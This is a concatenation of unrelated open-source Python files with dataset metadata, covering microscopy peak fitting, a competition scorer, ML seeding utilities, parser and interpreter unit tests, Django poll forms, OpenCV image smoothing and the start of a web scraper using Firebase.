loadBackgroundEstimate(self, movie_reader):\n bg_estimate = movie_reader.getBackground()\n if bg_estimate is not None:\n bg_estimate = padArray(bg_estimate, self.margin)\n \n return bg_estimate\n \n def loadImage(self, movie_reader):\n image = padArray(movie_reader.getFrame(), self.margin)\n fit_peaks_image = numpy.zeros(image.shape)\n return [image, fit_peaks_image]\n\n\nclass PeakFinderFitterArbitraryPSF(PeakFinderFitter):\n \"\"\"\n Class for arbitrary PSF based peak finding and fitting.\n \"\"\"\n def getConvergedPeaks(self, peaks):\n converged_peaks = super(PeakFinderFitterArbitraryPSF, self).getConvergedPeaks(peaks)\n return self.peak_fitter.rescaleZ(converged_peaks)\n\n \nclass PSFFunction(object):\n \"\"\"\n This is the base class for handling the PSF for fitters that use\n arbitrary PSFs such as PSFFFT, PupilFN and Spliner. In theory it\n handles all of the details of the PSF, such as how many pixels\n it covers, how much margin to add to the image, how to convert\n Z values, etc..\n \"\"\"\n def getCPointer(self):\n \"\"\"\n Returns a pointer to the C library structure that is\n used to describe the PSF.\n\n pupilData in pupilfn/pupil_function.h for example.\n \"\"\"\n assert False\n\n def getMargin(self):\n \"\"\"\n Return the margin to add to the image for finding/fitting.\n \"\"\"\n assert False\n \n def getPSF(self, z_value, shape = None, normalize = False):\n \"\"\"\n Return an image of the PSF at z_value, centered in an \n array of size shape.\n \"\"\"\n assert False\n\n def getScaledZ(self, z_value):\n \"\"\"\n This expects z_value to be in nanometers.\n \"\"\"\n return z_value\n \n def getSize(self):\n \"\"\"\n Return the X/Y size in pixels (all the fitters expect the \n PSF to be square).\n \"\"\"\n assert False\n\n def getZMax(self):\n \"\"\"\n Return maximum z position for the PSF in nanometers.\n \"\"\"\n return self.zmax \n \n def getZMin(self):\n \"\"\"\n Return the minimum z position for the PSF in nanometers.\n \"\"\"\n return self.zmin\n\n def rescaleZ(self, z_value):\n \"\"\"\n Convert from fitting units back to *microns* (not nanometers).\n \"\"\"\n return z_value\n\n#\n# The MIT License\n#\n# Copyright (c) 2014 Zhuang Lab, Harvard University\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n#\n", "sub_path": "storm_analysis/sa_library/fitting.py", "file_name": "fitting.py", "file_ext": "py", "file_size_in_byte": 38548, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "storm_analysis.simulator.draw_gaussians_c.drawGaussiansXY", "line_number": 27, "usage_type": "call"}, {"api_name": "storm_analysis.simulator.draw_gaussians_c", "line_number": 27, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "storm_analysis.sa_library.readinsight3.checkStatus", "line_number": 63, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.readinsight3", "line_number": 63, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.readinsight3.I3Reader", "line_number": 67, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.readinsight3", "line_number": 67, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.i3dtype.convertToMultiFit", "line_number": 70, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.i3dtype", "line_number": 70, "usage_type": "name"}, {"api_name": "numpy.loadtxt", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 79, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.getNPeakPar", "line_number": 80, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 80, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.getXCenterIndex", "line_number": 81, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 81, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.getYCenterIndex", "line_number": 82, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 82, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.getHeightIndex", "line_number": 83, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 83, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.getBackgroundIndex", "line_number": 84, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 84, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.getXWidthIndex", "line_number": 86, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 86, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 86, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.getYWidthIndex", "line_number": 87, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 87, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 87, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.getXCenterIndex", "line_number": 90, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 90, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.getYCenterIndex", "line_number": 91, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 91, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 112, "usage_type": "attribute"}, {"api_name": "numpy.flipud", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.flipud", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.fliplr", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.fliplr", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 227, "usage_type": "attribute"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.mergeNewPeaks", "line_number": 242, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 242, "usage_type": "name"}, {"api_name": "numpy.copy", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 266, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.matched_filter_c.MatchedFilter", "line_number": 281, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.matched_filter_c", "line_number": 281, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.matched_filter_c.MatchedFilter", "line_number": 291, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.matched_filter_c", "line_number": 291, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.matched_filter_c.MatchedFilter", "line_number": 292, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.matched_filter_c", "line_number": 292, "usage_type": "name"}, {"api_name": "tifffile.TiffWriter", "line_number": 322, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 323, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 323, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 370, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 370, "usage_type": "attribute"}, {"api_name": "tifffile.TiffWriter", "line_number": 394, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 395, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 395, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 403, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 407, "usage_type": "call"}, {"api_name": "tifffile.TiffWriter", "line_number": 417, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 418, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 418, "usage_type": "attribute"}, {"api_name": "tifffile.TiffWriter", "line_number": 424, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 425, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 425, "usage_type": "attribute"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.findLocalMaxima", "line_number": 431, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 431, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.initializePeaks", "line_number": 438, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 438, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.getZCenterIndex", "line_number": 483, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 483, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 516, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.matched_filter_c.MatchedFilter", "line_number": 517, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.matched_filter_c", "line_number": 517, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.matched_filter_c.MatchedFilter", "line_number": 518, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.matched_filter_c", "line_number": 518, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 533, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 537, "usage_type": "call"}, {"api_name": "tifffile.imsave", "line_number": 539, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 539, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 543, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 543, "usage_type": "attribute"}, {"api_name": "tifffile.imsave", "line_number": 552, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 552, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 552, "usage_type": "attribute"}, {"api_name": "numpy.abs", "line_number": 565, "usage_type": "call"}, {"api_name": "tifffile.TiffWriter", "line_number": 575, "usage_type": "call"}, {"api_name": "tifffile.TiffWriter", "line_number": 576, "usage_type": "call"}, {"api_name": "tifffile.TiffWriter", "line_number": 577, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 590, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 594, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 604, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 604, "usage_type": "attribute"}, {"api_name": "numpy.transpose", "line_number": 605, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 605, "usage_type": "attribute"}, {"api_name": "numpy.transpose", "line_number": 606, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 606, "usage_type": "attribute"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.findLocalMaxima", "line_number": 612, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 612, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.initializePeaks", "line_number": 619, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 619, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.getHeightIndex", "line_number": 628, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 628, "usage_type": "name"}, {"api_name": "numpy.append", "line_number": 634, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.removeClosePeaks", "line_number": 652, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 652, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.removeClosePeaks", "line_number": 704, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 704, "usage_type": "name"}, {"api_name": "tifffile.TiffWriter", "line_number": 790, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 795, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 795, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 804, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 808, "usage_type": "attribute"}, {"api_name": "numpy.transpose", "line_number": 817, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 817, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 820, "usage_type": "attribute"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.getXCenterIndex", "line_number": 821, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 821, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.getYCenterIndex", "line_number": 822, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 822, "usage_type": "name"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c.getStatusIndex", "line_number": 837, "usage_type": "call"}, {"api_name": "storm_analysis.sa_library.ia_utilities_c", "line_number": 837, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 840, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 854, "usage_type": "call"}]} {"seq_id": "439254377", "text": "\nfrom collections import Counter\n\nclass InvalidScoresheetException(Exception):\n pass\n\nclass Scorer:\n EXPECTED_TOKEN_COUNTS = {\n 'A': 4,\n 'B': 4,\n 'C': 1,\n }\n\n def __init__(self, teams_data, arena_data):\n self._teams_data = teams_data\n self._arena_data = arena_data\n\n def calculate_scores(self):\n scores = {}\n for tla, info in self._teams_data.items():\n zone = info['zone']\n tokens = self._arena_data[zone]['tokens']\n\n # 1 point per token\n points = len(tokens)\n\n counts = Counter(tokens)\n\n if 'A' in counts and 'B' in counts:\n # 1 further point per B token if there's an A token\n points += counts['B']\n\n # 2 further points per C token if there are both A and B tokens\n points += 2 * counts.get('C', 0)\n\n scores[tla] = points\n\n return scores\n\n def validate(self, extra):\n all_tokens = ''.join(\n d['tokens']\n for d in self._arena_data.values()\n ).replace(' ', '')\n\n counts = Counter(all_tokens)\n\n if counts != self.EXPECTED_TOKEN_COUNTS:\n msg = \"Found invalid token counts {0!r} (expecting: {1!r})\".format(\n dict(counts),\n self.EXPECTED_TOKEN_COUNTS,\n )\n raise InvalidScoresheetException(msg)\n\n\nif __name__ == '__main__':\n import libproton\n libproton.main(Scorer)\n", "sub_path": "scoring/score.py", "file_name": "score.py", "file_ext": "py", "file_size_in_byte": 1491, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.Counter", "line_number": 27, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 46, "usage_type": "call"}, {"api_name": "libproton.main", "line_number": 58, "usage_type": "call"}]} {"seq_id": "358399325", "text": "import logging\nimport random\nimport numpy as np\nimport torch\n\n\ndef set_logger():\n logging.basicConfig(\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO\n )\n\n\ndef set_seed(seed):\n \"\"\"for reproducibility\n\n :param seed:\n :return:\n \"\"\"\n np.random.seed(seed)\n random.seed(seed)\n\n torch.manual_seed(seed)\n if torch.cuda.is_available():\n torch.cuda.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n torch.backends.cudnn.enabled = False\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n\n\ndef get_device(no_cuda=False, gpus='0'):\n return torch.device(\"cuda:\" + gpus if torch.cuda.is_available() and not no_cuda else \"cpu\")\n\n\ndef detach_to_numpy(tensor):\n return tensor.detach().cpu().numpy()\n", "sub_path": "experiments/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 827, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.basicConfig", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 10, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 20, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 24, "usage_type": "attribute"}, {"api_name": "torch.cuda.manual_seed", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 25, "usage_type": "attribute"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 26, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 27, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 28, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 29, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 33, "usage_type": "attribute"}]} {"seq_id": "583712888", "text": "# Lint as: python3\n#\n# Copyright 2020 The XLS Authors\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Tests for xls.dslx.interpreter.parse_and_interpret.\"\"\"\n\nimport io\n\nimport unittest.mock as mock\nfrom pyfakefs import fake_filesystem_unittest as ffu\n\nfrom xls.dslx.interpreter import parse_and_interpret\nfrom absl.testing import absltest\n\n\nclass ParseAndInterpretTest(absltest.TestCase):\n\n def test_assertion_failure_prints_positionally(self):\n program = \"\"\"\n #![test]\n fn foo_test() {\n assert_eq(false, true)\n }\n \"\"\"\n mock_stderr = io.StringIO()\n filename = 'test_filename.x'\n with ffu.Patcher() as patcher:\n patcher.fs.CreateFile(filename, contents=program)\n with mock.patch('sys.stderr', mock_stderr):\n parse_and_interpret.parse_and_test(\n program, 'test_program', filename=filename, raise_on_error=False)\n self.assertIn('* 0004: assert_eq(false, true)',\n mock_stderr.getvalue())\n self.assertIn(\n ' ~~~~~~~~~~~~~~~^-----------^ The program being interpreted failed!',\n mock_stderr.getvalue())\n\n\nif __name__ == '__main__':\n absltest.main()\n", "sub_path": "xls/dslx/interpreter/parse_and_interpret_test.py", "file_name": "parse_and_interpret_test.py", "file_ext": "py", "file_size_in_byte": 1654, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "absl.testing.absltest.TestCase", "line_number": 27, "usage_type": "attribute"}, {"api_name": "absl.testing.absltest", "line_number": 27, "usage_type": "name"}, {"api_name": "io.StringIO", "line_number": 36, "usage_type": "call"}, {"api_name": "pyfakefs.fake_filesystem_unittest.Patcher", "line_number": 38, "usage_type": "call"}, {"api_name": "pyfakefs.fake_filesystem_unittest", "line_number": 38, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 40, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 40, "usage_type": "name"}, {"api_name": "xls.dslx.interpreter.parse_and_interpret.parse_and_test", "line_number": 41, "usage_type": "call"}, {"api_name": "xls.dslx.interpreter.parse_and_interpret", "line_number": 41, "usage_type": "name"}, {"api_name": "absl.testing.absltest.main", "line_number": 51, "usage_type": "call"}, {"api_name": "absl.testing.absltest", "line_number": 51, "usage_type": "name"}]} {"seq_id": "81631013", "text": "import unittest\nfrom unittest.mock import Mock\n\nfrom pyats.topology import Device\nfrom pyats.topology import loader\nfrom genie.metaparser.util.exceptions import SchemaEmptyParserError\nfrom genie.libs.parser.junos.show_lacp import ShowLacpInterfacesInterface\n\n\"\"\" TestCase for:\n * show lacp interfaces {interface}\n\"\"\"\nclass TestShowLacpInterfacesInterface(unittest.TestCase):\n\n device = Device(name=\"aDevice\")\n\n maxDiff = None\n\n empty_output = {\"execute.return_value\": \"\"}\n\n golden_output = {\n \"execute.return_value\": \"\"\"\n show lacp interfaces ae4\n Aggregated interface: ae4\n LACP state: Role Exp Def Dist Col Syn Aggr Timeout Activity\n xe-3/0/1 Actor No No Yes Yes Yes Yes Fast Active\n xe-3/0/1 Partner No No Yes Yes Yes Yes Fast Active\n LACP protocol: Receive State Transmit State Mux State\n xe-3/0/1 Current Fast periodic Collecting distributing\n \"\"\"\n }\n\n golden_parsed_output = {\n \"lacp-interface-information-list\": {\n \"lacp-interface-information\": {\n \"lag-lacp-header\": {\"aggregate-name\": \"ae4\"},\n \"lag-lacp-protocol\": [\n {\n \"lacp-mux-state\": \"Collecting distributing\",\n \"lacp-receive-state\": \"Current\",\n \"lacp-transmit-state\": \"Fast periodic\",\n \"name\": \"xe-3/0/1\",\n }\n ],\n \"lag-lacp-state\": [\n {\n \"lacp-activity\": \"Active\",\n \"lacp-aggregation\": \"Yes\",\n \"lacp-collecting\": \"Yes\",\n \"lacp-defaulted\": \"No\",\n \"lacp-distributing\": \"Yes\",\n \"lacp-expired\": \"No\",\n \"lacp-role\": \"Actor\",\n \"lacp-synchronization\": \"Yes\",\n \"lacp-timeout\": \"Fast\",\n \"name\": \"xe-3/0/1\",\n },\n {\n \"lacp-activity\": \"Active\",\n \"lacp-aggregation\": \"Yes\",\n \"lacp-collecting\": \"Yes\",\n \"lacp-defaulted\": \"No\",\n \"lacp-distributing\": \"Yes\",\n \"lacp-expired\": \"No\",\n \"lacp-role\": \"Partner\",\n \"lacp-synchronization\": \"Yes\",\n \"lacp-timeout\": \"Fast\",\n \"name\": \"xe-3/0/1\",\n },\n ],\n }\n }\n }\n\n def test_empty(self):\n self.device = Mock(**self.empty_output)\n obj = ShowLacpInterfacesInterface(device=self.device)\n with self.assertRaises(SchemaEmptyParserError):\n obj.parse()\n\n def test_golden_instance(self):\n self.device = Mock(**self.golden_output)\n obj = ShowLacpInterfacesInterface(device=self.device)\n parsed_output = obj.parse(interface=\"ae4\")\n self.assertEqual(parsed_output, self.golden_parsed_output)\n\nif __name__ == '__main__':\n unittest.main()\n", "sub_path": "src/genie/libs/parser/junos/tests/test_show_lacp.py", "file_name": "test_show_lacp.py", "file_ext": "py", "file_size_in_byte": 3264, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "unittest.TestCase", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pyats.topology.Device", "line_number": 14, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 75, "usage_type": "call"}, {"api_name": "genie.libs.parser.junos.show_lacp.ShowLacpInterfacesInterface", "line_number": 76, "usage_type": "call"}, {"api_name": "genie.metaparser.util.exceptions.SchemaEmptyParserError", "line_number": 77, "usage_type": "argument"}, {"api_name": "unittest.mock.Mock", "line_number": 81, "usage_type": "call"}, {"api_name": "genie.libs.parser.junos.show_lacp.ShowLacpInterfacesInterface", "line_number": 82, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 87, "usage_type": "call"}]} {"seq_id": "302620115", "text": "from django import forms\nfrom .models import Poll , Choice\nfrom django.forms import formset_factory\n\n\nclass PollCreateForm(forms.ModelForm):\n\n\tclass Meta:\n\n\t\tmodel = Poll\n\t\tfields = ['name' , 'question' , 'image' , 'vote_limit']\n\n\t\tlabels = {\n\n\t\t\t'name': \"Name\",\n\t\t\t'question': \"Enter your poll's main question\",\n\t\t\t'image': \"you can upload an image for your poll\" ,\n\t\t\t'vote_limit': \"How many votes the the voters can take place in your poll?\"\n\t\t}\n\n\n\tdef __init__(self , *args , **kwargs):\n\n\t\tsuper(PollCreateForm,self).__init__(*args , **kwargs)\n\n\t\tname = self.fields['name']\n\t\tquestion = self.fields['question']\n\t\timage = self.fields['image']\n\t\tvote_limit = self.fields['vote_limit']\n\n\t\tname.widget.attrs.update({'class':'name-field'})\n\t\tquestion.widget.attrs.update({'class':'question-field'})\n\t\timage.widget.attrs.update({'class':'image-field'})\n\t\tvote_limit.widget.attrs.update({'class':'vote-field'})\n\n\n\nclass ChoiceForm(forms.ModelForm):\n\n\n\tclass Meta:\n\n\t\tmodel = Choice\n\t\tfields = ['field']\n\n\t\tlabels = {\n\n\t\t\t'field':'Enter your choice'\n\t\t}\n\n\tdef __init__(self , *args , **kwargs):\n\n\t\tsuper(ChoiceForm,self).__init__(*args , **kwargs)\n\n\t\tfield = self.fields['field']\n\n\t\tfield.widget.attrs.update({'class' : 'field'})\n\n\nChoiceFormset = formset_factory(ChoiceForm , extra=5)", "sub_path": "polls/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 1281, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.forms.ModelForm", "line_number": 6, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 6, "usage_type": "name"}, {"api_name": "models.Poll", "line_number": 10, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 38, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 38, "usage_type": "name"}, {"api_name": "models.Choice", "line_number": 43, "usage_type": "name"}, {"api_name": "django.forms.formset_factory", "line_number": 60, "usage_type": "call"}]} {"seq_id": "141393568", "text": "# Image smoothing operations\n\nimport cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n\nimg = cv2.imread('logo.png')\n\n# 5x5 averaging filter F (times 1/25)\n'''\nkernel = np.ones((5,5),np.float32)/25\ndst = cv2.filter2D(img,-1,kernel)\n\nplt.subplot(121),plt.imshow(img),plt.title('Original')\nplt.xticks([]), plt.yticks([])\nplt.subplot(122),plt.imshow(dst),plt.title('Averaging')\nplt.xticks([]), plt.yticks([])\nplt.show()\n#'''\n\n#img = cv2.imread('logo_noise.png')\n\n# 4x4 averaging filter\n#blur = cv2.blur(img,(5,5))\n\n# Gaussian filter\n#blur = cv2.GaussianBlur(img,(5,5),0)\n\n# Median filter\n#median = cv2.medianBlur(img, 5)\n\n# Bilateral filtering (preserves edges)\nblur = cv2.bilateralFilter(img,9,75,75)\n\nplt.subplot(121),plt.imshow(img),plt.title('Original')\nplt.xticks([]), plt.yticks([])\nplt.subplot(122),plt.imshow(blur),plt.title('Blurred')\n#plt.subplot(122),plt.imshow(median),plt.title('Median')\nplt.xticks([]), plt.yticks([])\nplt.show()\n#'''\n", "sub_path": "testing/img_processing/smoothing.py", "file_name": "smoothing.py", "file_ext": "py", "file_size_in_byte": 956, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cv2.imread", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.bilateralFilter", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}]} {"seq_id": "275597893", "text": "# -*- coding: utf-8 -*-\nimport os, sys\n\nfrom fake_useragent import UserAgent\nfrom requests_html import HTMLSession\nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\nimport re\n\ncred = credentials.Certificate('/./root/Classmate/ServiceAccount.json')\nfirebase_admin.initialize_app(cred)\ndb = firestore.client()\n\nua = UserAgent()\nuarandom = {'User-Agent': ua.random}\nschulhauslinks = ('https://display.edubs.ch/bfsa', 